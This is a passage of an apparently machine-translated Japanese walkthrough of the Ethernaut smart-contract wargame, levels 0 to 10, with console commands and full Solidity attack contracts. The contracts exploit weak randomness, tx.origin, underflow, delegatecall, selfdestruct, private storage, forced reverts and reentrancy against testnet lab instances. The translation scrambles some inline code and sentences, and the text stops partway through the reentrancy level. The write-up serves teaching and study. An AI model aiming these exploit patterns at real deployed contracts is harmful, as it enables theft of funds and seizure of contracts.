[ブロックチェーン セキュリティ - イーサノート] ブロックチェーン スマート コントラクト セキュリティの実践 - シリアル化

[ブロックチェーン セキュリティ - イーサノート] ブロックチェーン スマート コントラクト セキュリティの実践 - シリアル化

準備

ブロックチェーン技術の漸進的な推進により、ブロックチェーンセキュリティは徐々に研究のホットスポットになりました。その中で、スマートスマートコントラクトのセキュリティが最も際立っています。Ethernautは、ブロックチェーン スマート コントラクト セキュリティの研究を開始するための優れたツールです。

  • まず、必ずMetamaskをインストールする必要があります。Google 拡張機能を使用できる場合は直接インストールできます。それ以外の場合は、FireFox を使用してインストールできます。
  • 新しいアカウントを作成し、RinkeBy テスト ネットワークに接続します ([設定 - 詳細設定] で [テスト ネットワークを表示] を有効にし、ネットワークを切り替える必要があります)。
    アカウントを作成し、Rinkeby ネットワークに接続します
  • Faucetにアクセスして、毎日 0.1Eth のテスト コインを取得します

今すぐ Ethernaut で発見の旅を始めましょう!


0. こんにちはイーサノート

このセクションは比較的単純なので、全体的なプロセスにもっと注意を払い、Ethernaut のインスタンス作成などを紹介し、自分で整理しますので、より詳しく説明します。

準備

Hello Ethernaut と入力すると、Metamask ウォレットに接続するように自動的に求められます. 接続後、概略図は次のようになります:
メタマスクに正常に接続されました
F12 を押して開発者ツールを開くと、コンソール インターフェイスでスマート コントラクトを操作できます.

コンソールページ

インスタンスを作成して分析する

[新しいインスタンスを取得]をクリックして、新しいコントラクト インスタンスを作成します。

0xD991431D8b033ddCb84dAD257f4821E9d5b38C33コントラクトを操作して実際にインスタンスを作成していることがわかります。チュートリアルのパラメーターで0xdfc86b17、アドレス0x4e73b858fd5d7a5fc1c3455061de52a53f35d966をパラメーターとしてメソッドを呼び出します。実際、インスタンスを作成するとすべてのレベルに移動し0xD991431D8b033ddCb84dAD257f4821E9d5b38C33、この例の URL アドレスのように、添付されたアドレスを使用してレベルを示します
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966

契約取引インターフェースを作成する
インスタンスが正常に生成されました。主な契約トランザクションのスクリーンショットは次のとおりです。

主な契約取引のスクリーンショット
取引の詳細を入力し、内部取引を表示し、契約間の呼び出しを検索します。1 つ目は、メイン コントラクトによってレベル コントラクトを呼び出すことです。2 つ目は、レベル コントラクトによってコントラクト インスタンスを作成することです。インスタンス アドレスは0x87DeA53b8cbF340FAa77C833B92612F49fE3B822です。

インスタンス作成コントラクトの内部呼び出し
ページに戻ると、生成されたインスタンスが実際に0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
ページ コントラクトが正常に作成されたリマインダー
次のようになっていることを確認できます. コントラクトとやり取りして、このレベルを完了します.

契約の相互作用

この時点で、コンソール インターフェイスで、ユーザーの現在のアカウントと作成されたコントラクト インスタンスをそれぞれ と で表示playerできます。ユーザーのウォレット アカウント アドレスを表し、コントラクト インスタンス、およびメソッド情報を含みます。contractplayercontractabiaddress

契約およびユーザー情報の表示
プロンプトに従って入力しawait contract.info()、結果を取得し'You will find what you need in info1().'ます。
contract.info() を待つ

入力await contract.info1()して結果を取得し'Try info2(), but with "hello" as a parameter.'ます。
contract.info1()` を待ちます

入力await contract.info2('hello')して結果を取得し'The property infoNum holds the number of the next info method to call.ます。
contract.info2('こんにちは') を待ちます
入力await contract.infoNum()、infoNum パラメーター値42(Word の最初の位置) を取得します。これは、次に呼び出される関数 ( info42)です。
contract.infoNum() を待つ
入力await contract.info42()、結果を取得します。'theMethodName is the name of the next method.つまり、次のステップを呼び出す必要がありますtheMethodName

contract.info42() を待つ
入力await contract.theMethodName()して結果を取得し'The method name is method7123949.ます。

contract.theMethodName() を待つ
入力await contract.method7123949()して結果を取得し'If you know the password, submit it to authenticate().ます。
contract.method7123949() を待つ
passpassword()はパスワードethernaut0を取得して に送信できますauthenticate(string)関数が進行中の場合、Metamask はトランザクション確認をポップアップ表示すること
パスワードを見つけて送信する
に注意してください。これは、関数がコントラクト内の状態を変更する (レベルの成功を確認するため) ためですが、以前に呼び出された他の関数は (ビューの場合) 変更しません。 authenticate().
ここに画像の説明を挿入
この時点で、レベルは完了しています。送信するSumbit インスタンスを選択できます。また、トランザクションを完了するために署名する必要があります。

署名して提出する
この後、コンソール ページに成功プロンプトが表示され、レベルが完了します。

レベル完了

要約する

この質問は比較的単純で、ethernaut の動作と原理に精通している方がよいでしょう。


1.フォールバック

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
このレベルでは、契約の所有権を取得し、残高を清算する必要があります。
そのソース コードを観察して、契約の所有権変更のエントリ ポイントを見つけます。contribute()それぞれとを 2 つ見つけreceive()ます。コードは次のとおりです。

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

ロジックによるとcontribute()、ユーザーが呼び出しに対して以下の金額を送信0.001 ether、合計の貢献度が を超えownerた場合、契約の所有権を取得できますこの処理は簡単そうに見えますが、以下のconstructor()関数を見ると作成時ownerの作成量が1000 etherであることが分かりますので、この方法はあまり実用的ではありません。

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

関数をもう一度考えreceive()てみると、そのロジックによれば、ユーザーが何かetherを送信し、以前に貢献したことがある (contribute()関数が呼び出された) 場合、コントラクトの所有権を取得できます。receive()同様にfallback()、このメソッドは、ユーザーがトークンを送信したが機能が指定されていない場合に呼び出されます (例: sendTransaction())。
所有権を取得した後、withdraw関数を呼び出すと契約残高をクリアできます。

契約の相互作用

コマンドを使用してcontract、コントラクト abi と外部関数を表示します。

コントラクト abi と関数
をコールawait contract.contribute({value:1})し、Wei を 1 ユニット送信します。

contract.contribute({値:1}) を待つ
この時点で、 を呼び出してawait contract.getContribution()ユーザーの貢献度を表示し、貢献度が 1 であることを確認します。これはreceiver()、既定の関数を呼び出すための最小要件を満たしています。

contract.getContribution() を待つ
await contract.sendTransaction({value:1})構成された転送トランザクションを使用してコントラクトに送信すると、
await contract.sendTransaction({値:1})
呼び出しawait contract.owner() === player によってコントラクト所有者が変更されたことが確認されます。残高を引き出すため
await contract.owner() === プレイヤー
の最後の呼び出し。レベルが成功したことを示すためにインスタンスを提出してください!await contract.withdraw()
contract.withdraw() を待つ

レベルの成功

要約する

このレベルも比較的単純で、主にコード内のロジックを分析し、原理を理解する必要がありfallback()ますreceive


2.フォールアウト

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x891A088f5597FC0f30035C2C64CadC8b07566DC2
このレベルでは、コントラクトの所有権を取得する必要があります。まず、contractコマンドを使用して、コントラクトの abi および関数情報を表示します。
契約する
コントラクトのソース コードをチェックして、ブレークスルー ポイントの可能性を確認してください。Fal1out()機能がブレークスルーであることがわかりましたそのコードは次のとおりです。

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

Solidity の場合、0.4.22 より前のバージョンのコンパイラは、次のような同じコントラクト名を持つコンストラクタをサポートします。

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}

ただし、0.4.22 以降では、次のようなエクスプロイトconstructor()ビルドのみがサポートされています。

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}

しかし、このレベルでは、契約作成者が間違いを犯したことが明らかであり、Fallout書き込まれFal1outます。したがって、関数を直接呼び出すことでFal1out所有権を取得します。

契約の相互作用

await contract.owner()現在の契約所有者をアドレスとして取得するために使用し0x0ます。所有権取得を達成するために
contract.owner() を待つ
呼び出します。契約の所有権が取得されたことを確認するために電話します。インスタンスを提出してください。このレベルは完了です!await contract.Fal1out({value:1})
await contract.Fal1out({値:1})
await contract.owner() === player
await contract.owner() === プレイヤー

レベルは成功です!

要約する

このレベルは比較的単純で、主に契約内容とコンストラクターの理解と把握をテストします。


3. コインフリップ

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
このレベルでは、コインの表と裏を 10 回連続して当てる必要があります。

まず、次の図に示されているコードを見てみましょう。

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

コインの表と裏は、現在のブロックの前のブロックの高さによって決定されることがわかります。現在のブロックの高さがわからなければ、コインの表裏を事前に予測することは困難です。同時に、コントラクトは、lastHash を介して同じブロックを 1 回だけ送信できることを保証します。
ここではHello Ethernaut、レベルで分析したように、コントラクト間の呼び出しの概念を紹介します。コントラクトはコントラクトを呼び出すこともできます。特定の操作は とInternal Txns同じですが、最初の呼び出しと同じブロックにありますそのため、独自のスマート コントラクトを作成し、コインの表裏を事前に予測し、レベル コントラクトにリクエストを行うことができます。

インスタンス作成コントラクトの内部呼び出し

契約間の通話内容は以下の通りで、主にいくつかの種類があります。

  • 呼び出し先コントラクト インスタンスを使用します (呼び出し先コントラクト コードはわかっています)。
  • 呼び出されたコントラクト インターフェイス インスタンスを使用します (呼び出されたコントラクト インターフェイスのみが既知です)。
  • call コマンドを使用してコントラクトを呼び出す

上記の3つのアイデアから始めて、コントラクト間の呼び出しを実現するために、独自のスマートコントラクトを作成します。

攻撃契約書作成

Remix オンライン エディターを使用してコントラクトを記述します。コードは次のとおりです。これCoinFlipAttackが攻撃コントラクトでCoinFlipあり、CoinFlipInterface両方ともターゲット コントラクトに abi インターフェイスを提供するように定義されています。

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}

// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}

契約の相互作用

この時点で、次の図に示すように、選択0.6.12+commit.27d51765.jsしたコンパイラがコンパイルされ
契約書作成
ます。 展開ページで、 を選択しInjected Web3、接続Metamask钱包して、攻撃コントラクトのコンストラクターを呼び出します。ここで、構築パラメーターがターゲット コントラクトに渡されます0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54

契約を展開する
The little fox sign, the contract deployment complete, the address of the attack contract is 0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF, 次の呼び出しインターフェースが表示されます. 次に、次の 3 つの方法で攻撃を開始します。
攻撃契約呼び出しインターフェース


  • 次の図に示すように、呼び出す前に呼び出されたコントラクト インスタンス (attackByIns) を使用すると、3 つの連続した推測があり
    現在の推測
    ますattackByIns

attackByIns
このとき、連続推理回数は4回となり、方法の検証に成功!
現在の推測

  • 呼び出されたコントラクト インターフェイス インスタンスを使用する (attackByInterface)

この時点で、連続推測数は 4 です。それをクリックするattackByInterfaceと、メタマスク確認ポップアップ ウィンドウが表示されます。現在のブロックが正常にマイニングされていることを確認します。

attackByInterfaceこの時、連続推理回数は5回となり、方法の検証に成功!現在の推測

  • 呼び出しコマンドを使用してコントラクトを呼び出します (attackByCall).
    このとき、連続推測回数は 5 です. クリックするattackByCallと、メタマスク確認ポップアップ ウィンドウがポップアップ表示されます. 現在のブロックが正常にマイニングされていることを確認します.
    attackByCall
    この時、連続推理回数は6回となり、方法の検証に成功!
    現在の推測

どちらの方法を使っても同じブロック内でのコントラクトコールは実現できますが、設定に注意が必要ですgas limit. 足りないと爆発out of gasrevertedエラーが発生します.確認インターフェース。

その後、10 回に達するまで任意の呼び出しでさらに 4 回実行し、最後にコミットします。
インスタンスを提出してください。このレベルは完了です!
レベルは成功です!

要約する

solidityこのレベルでは、主に契約間の書き込みと呼び出しを調べます。gas以前はあまり注意を払っていませんでしたが、今はもっと注意を払う必要があります


4. 電話

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xba9405B2d9D1B92032740a67B91690a70B769221
そのコントラクトのソース コードを分析し、コントラクトの所有権を変更するよう要求します.ブレークスルーはchangeOwner関数にあります.関数コードは次のとおりです:

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }

前提条件は同じでtx.originmsg.senderないので、これを検討する必要があります。

  • tx.origin呼び出しスタック全体を調べて、最初に呼び出し (またはトランザクション) を送信したアカウントのアドレスを返します。
  • msg.senderスマート コントラクト関数を直接呼び出すアカウントまたはスマート コントラクトのアドレスです。

2 つの違いは、同じトランザクション内に複数の呼び出しがある場合、それは変更さtx.originれないままですが、msg.sender変更されることです。これに基づいて、中間者攻撃として機能するスマート コントラクトを作成します。

攻撃契約書作成

コントラクトもリミックスで書かれています. コントラクト コードは次のとおりです. 前のレベルと同様に,interfaceコントラクト インターフェイス インスタンスはインターフェイスを介して作成されますattack函数执行攻击.

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}

契約の相互作用

当初、契約の所有権はまだ取得されていません。

契約所有権が取得されていない
0xba9405B2d9D1B92032740a67B91690a70B769221攻撃されたコントラクト インターフェース インスタンスを初期化するためのパラメーターをアタッチして、コントラクトをリミックスにデプロイしますtele生成された攻撃コントラクトのアドレスは0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811.

攻撃契約を展開する

remixattackで関数を呼び出します。パラメータは0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1bウォレット アドレスです。
攻撃
この時点で、所有権を再度確認し、変更が行われたことを確認します。
所有権が変更されました
インスタンスを送信してください。このレベルは正常に通過しました。
成功

要約する

tx.originこれには多くのコントラクトが使用されていますが、誤って使用すると深刻な結果を招く可能性があります。
たとえば、攻撃されたコントラクトがアクティブに通話を開始するようにコントラクトをセットアップし、tx.origin関連するセキュリティ設定をバイパスするために受け入れ機能で攻撃を開始します。


5.トークン

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
コントラクト作成プロセスから判断すると、インスタンス作成コントラクト0xD991431D8b033ddCb84dAD257f4821E9d5b38C33は、レベル コントラクトを呼び出し0x63bE8347A617476CA461649897238A31835a32CEてターゲット コントラクトを作成し、player20 を転送しtokenます。

トークン割り当て情報

コントラクトのソース コードを分析し、既存のトークンの数を増やすように要求するにはtransfer、関数から始めます。関数のコードは次のとおりです。

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

ここでのコードの間違いはuint、演算のオーバーフロー チェックがないことです。たとえば、8 ビットの符号なし整数の場合0-1=255255+1=0エラーが発生します。この抜け穴を利用して、トークンの無制限の追加発行を実現できます。

契約の相互作用

関数を呼び出しawait contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)ます.ここでは自分自身に送金できないことに注意してください.最初にアンダーフローが発生し、次にオーバーフローが発生するためです. 21 レベルのコントラクトに直接転送しますtoken.このとき20-21, アンダーフローが発生し、最大値に達します. この時点で、トークン残高が増加していることがわかります。

トークンの数が増える
例を提出して、このレベルに合格してください!
成功!

要約する

だからこそ、私たちはする必要がありSafemathます。コントラクトを書くときは、オーバーフローとアンダーフローに注意してください。

6. 委任

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
このレベルでは、**契約Delegationの所有権を取得する**必要があります。

コントラクトの分析、ソース コード セクションは、コントラクトの 2 つの部分を提供しDelegateますDelegation2 つのコントラクト間で渡されるDelegation関数fallbackdelegatecall、メソッド展開に基づいて呼び出されます。

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }

コントラクトの場合Delegation、所有権を変更するコードが見つからないので、考え方を変えてDelegate、コントラクトに何かあるかどうかを確認できます。契約を分析すると、pwn()それが実現できることがわかります。

  function pwn() public {
    owner = msg.sender;
  }

現時点では、混乱している方もいるかもしれませんが、Delegate2Delegationの異なるコントラクトですDelegateownerDelegation

Solidity では、呼び出し関数クラスターは、 、 、および を含むクロス コントラクト関数呼び出しを実装できますcalldelegatecall callcodeの 3 つのクロス コントラクト呼び出し方法の違いを分析します (例として、ユーザー A がコントラクト B を介してコントラクト C を呼び出します)。

  • call: 最も一般的な呼び出し方法. 呼び出し後、組み込み変数 msg の値は呼び出し元 B に変更され、実行環境は呼び出し先の実行環境 C になります.
  • delegatecall: 呼び出し後、組み込み変数 msg の値 A は呼び出し元に変更されませんが、実行環境は呼び出し元のランタイム環境 B です。
  • callcode: 呼び出し後、組み込み変数 msg の値は呼び出し元 B に変更されますが、実行環境は呼び出し元の実行環境 B です。

そのときは、コントラクトで関数delegatecallを呼び出していましたが、実際には環境で実行していました。これは、コードの「導入」と理解できます。したがって、契約権の譲渡を実現することができます。DelegateDelegation

契約の相互作用

初期化するとき、契約の所有権を持つことはオプションではありませんplayer
所有権を取らなかった
呼び出しを開始するために使用contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})すると、結果は失敗し、よく見ると装飾がfallbackないためです。payableこれは最初の誤解であり、観察が十分に注意されていません。

呼び出しに失敗しました
削除してvalue、もう一度呼び出しますawait contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})この時点で、契約の所有権は譲渡されています。説明すると、ここでは関数dataを呼び出し、エンコーディングを使用して最初の 4 バイトを取得します。ここでは、入力パラメーターがないため簡略化されています。契約インスタンスを送信します。このレベルは成功です!pwnsha3
所有権を得る

成功!

要約する

コントラクト間の呼び出しは、もともとプログラミングの柔軟性のために非常に注意する必要がありdelegateますが、適切に処理されないと、セキュリティに大きな問題が発生します!


7.フォース

申し訳ありませんが、私の仕事は海外のサイバーセキュリティ貿易に関係しているため、最近少し仕事が忙しかったため、最近はトレーニングで忙しいです。しかし、この作品は確実に完成し続けます。

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xa39A09c4ebcf4069306147035dd7cE7735A25532
このレベルではForceトークンをコントラクトに転送する必要がありますが、コントラクトには支払い機能がないようです。だから何をすべきか?

実際には、スマートコントラクトに送金する一般的な方法がいくつかあります。

  • Transfer : エラーが発生したときに例外をスローし、その後コードは実行されません
  • Send : 転送エラーは例外をスローせず、true/false を返します。コードは引き続き実行されます。
  • call.value().gas : 転送エラーは例外をスローせず、true/false を返します。コードは実行されますが、転送のための呼び出し関数は再入攻撃を受けやすいです。

3つの方法の前提があります。つまり、受け入れ契約は転送を受け入れることができる必要があります。つまり、支払い機能があり、そうでない場合はロールバックされます。

他の方法はありますか?

ただし、最初に資金を取得せずに資金を転送する別の方法があります: 自己破壊機能です。Selfdestruct は、ブロックチェーン上のコントラクトを削除するために使用される Solidity スマート コントラクトの関数です。コントラクトが自己破壊操作を実行すると、コントラクト アカウントに残っているイーサが指定されたターゲットに送信され、そのストレージとコードが消去されます

つまり、コントラクトの自己破壊機能を介して、コントラクトの残りのイーサを指定されたアドレスに送信できます. このとき、アドレスが転送を受け入れるかどうかを判断する必要はありません. そのため、スマート コントラクトを構築し、自己破壊を完了してから攻撃することができます。

契約の相互作用

コントラクト自体は残高クエリを提供しないため、チェーンにアクセスしてクエリを実行します。契約残高は現在0です。

目標契約残高は0
自己破壊関数を記述する remix を通じてコン​​トラクトを構築します。

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

新しいコントラクトを作成し、それを Rinkeby テストネット、コントラクト アドレスにデプロイします0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

契約を展開する

攻撃されたコントラクトを変数としてdestruct関数を呼び出します。

自爆攻撃を開始する

この時点で、攻撃されたコントラクト チェーンのアドレス バランスが 0 から 50 に変化したことがわかります。

自爆攻撃成功
例を提出してください。このレベルは合格です!
レベルの成功

要約する

selfdestruct支払い可能な小切手はトリガーされません. 適切な小切手がない場合, 契約自体の運用に予測できない影響を与える可能性があります. this.balanceハッカーによる操作を防ぐために、balance変数を使用して特定のビジネス ロジックの残高を受け入れる必要があります。


8.ボールト

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x81E840E30457eBF63B41bE233ed81Db4BcCF575E

契約の分析、このレベルの要件はロックを解除することであり、ロックを解除する唯一の方法は正しく入力することpasswordです。このレベル ペアの定義はpasswordプライベート変数です。時々表示されないのはなぜですか?

答えはノーです。すべての変数はオンチェーンに保存されており、自然に見ることができます。問題は、どこを見て、何を探すかです。

最初の答えは何ですか?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])、このコマンドを使用して、特定のアドレスに保存されているストレージの内容を確認します。
そのパラメーターは、次の意味を表します。

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

一般的に言えば、 を使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);します。後者の 2 つのパラメーターは一般にオプションです。

2番目の答えは何ですか?

イーサリアム データ ストレージは、コントラクトの各データに対して計算可能なストレージの場所を指定し、それを 2^256 の容量を持つスーパー配列に格納します. 配列の各要素はスロットと呼ばれ、その初期値は 0 です. 配列容量の上限は高いですが、実際のストレージはまばらであり、実際にはゼロ以外 (null) のデータのみがストレージに書き込まれます。各データストアのスロットの場所は固定されています。

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

各スロットは 32 バイトです. 値型の場合、そのストレージは連続しており、次の規則が満たされています.

  • ストレージ スロットの最初のアイテムは、少し揃えて (つまり、右揃えで) 格納されます。
  • プリミティブ型は、それらを格納するために必要なバイトのみを使用します
  • ストレージ スロットにベース タイプを格納するための十分なスペースが残っていない場合、ベース タイプは次のストレージ スロットに移動されます。
  • 構造体と配列のデータは常にまったく新しいスロットを占有します (ただし、構造体または配列内の項目はこれらのルールでパックされます)

たとえば、次の契約

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}

そのストレージ レイアウトは次のとおりです。

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

この質問に戻ると、ストレージの配置が適切であることは明らかです。

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

したがってslot1、パスワード情報を取得できます。

契約の相互作用

await web3.eth.getStorageAt(contract.address,1)get と入力しますbyte32 password
await web3.eth.getStorageAt(contract.address,1)
この時点で、コントラクトはawait contract.locked()クエリに対してまだロックされています (passable )。

契約はまだロックされています
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')契約のロックを解除するために呼び出します。
契約を解除する
この時点で、契約は解除されています。
ここに画像の説明を挿入
インスタンスを送信すると、このレベルは正常に渡されます。
レベルの成功

要約する

ブロックチェーンに秘密はありません。


9 キング

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2そのコントラクトの分析、そのコントラクト機能は次のコード セグメントにあります。

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

送金が受信されたとき、送金された金額が現在のボーナスよりも大きい場合、送金された金額が現在の王に送金され、ボーナスが更新され、送信者が新しい王になります。
このレベルの目的は、このサイクルを断ち切ることです。

このサイクルを断ち切るための出発点は、機能の相互作用が実際には継続的なプロセスであることです。

  1. ユーザーは、指定された量のイーサを送信します。
  2. コントラクトはイーサを現在の王に転送します
  3. キングとボーナスを更新しました。

私たち王が契約から譲渡されたボーナスの受け取りを拒否する限り、プロセス全体を元に戻すことができます。

攻撃契約書作成

攻撃コントラクトもリミックスで書きます。次のように:


contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 

受け入れ関数では、コントラクトが実行され続けるのを防ぐために、率先してロールバックします。

契約の相互作用

まず、現時点でどれだけ渡す必要があるかを見てみましょう。ターゲット コントラクトの詳細ページでは、コントラクトの作成時に 0.001Ether が渡されたことがわかります。

契約内容
したがって、攻撃コントラクト ( ) を作成した後0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208、2Finney を渡し、攻撃コントラクトattackメソッドを呼び出します。

攻撃
この時点で王を見ると、await contract._king()それを使用して、王が攻撃契約になっていることがわかります。
コントラクトを待ちます._king()
契約を提出し、レベルは成功です!

レベルの成功
チェーン上のデータを見ると、実行中にロールバック ( revert)が発生したことがわかります。
元に戻す

要約する

攻撃は、コントラクト実行の複数の観点から開始できます。


10 再入可能

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2eそのコントラクトの分析、そのコントラクト抽出機能は次のとおりです。

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

この契約の問題点は何ですか?つまり、記帳と振替の順番を間違えた(振替→記帳)。一般的に、私たちが銀行にお金をおろしに行くと、銀行はまず銀行の帳簿にメモを取り、それから私たちにお金が引き落とされます。同時に2か所からお金を引き出すことはできませんが、ブロックチェーンでは可能ですか?

答えはイエスです. コントラクト転送を受け入れている間に新しいお金の引き出し操作を開始した場合、明らかに、それが継続的な呼び出しプロセスである場合、コントラクトは元帳を変更せずにユーザーにお金を転送しますか?

では、継続的な呼び出しを保証するにはどうすればよいでしょうか? つまり、コントラクトを使用して、攻撃されたコントラクトと対話します。

攻撃契約書作成

攻撃コントラクトもリミックスで書きます。次のように:

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}


を使用しReentranceImplてターゲット コントラクトをマークし、を使用しrequiredValueて、コントラクトがターゲット コントラクトに入金した金額を示します。同時に、対象契約から残高を引き出すためにfallback資金を受け取るたびに呼び出される関数を定義します。withdraw契約のやり取りをしましょう。

契約の相互作用

まずコントラクト自体がどれくらいのイーサを持っているかを確認し、ブラウザで確認すると合計0.001のイーサがあることがわかります。
コントラクト自体は 0.001 イーサ
そのため、コントラクトを展開するときに 500000000000000 Wei を渡します.これは、コントラクトの攻撃効果を確認するために 3 回繰り返し呼び出すことができます.同時に、ターゲット コントラクト アドレスを渡します0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e.展開後、攻撃コントラクト アドレスは0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287.

最初に、契約自体の残高 (500000000000000 Wei) を照会し、次に対象契約の残高 (10000000000000000 Wei) を照会します。
契約自体の残高
目標契約残高
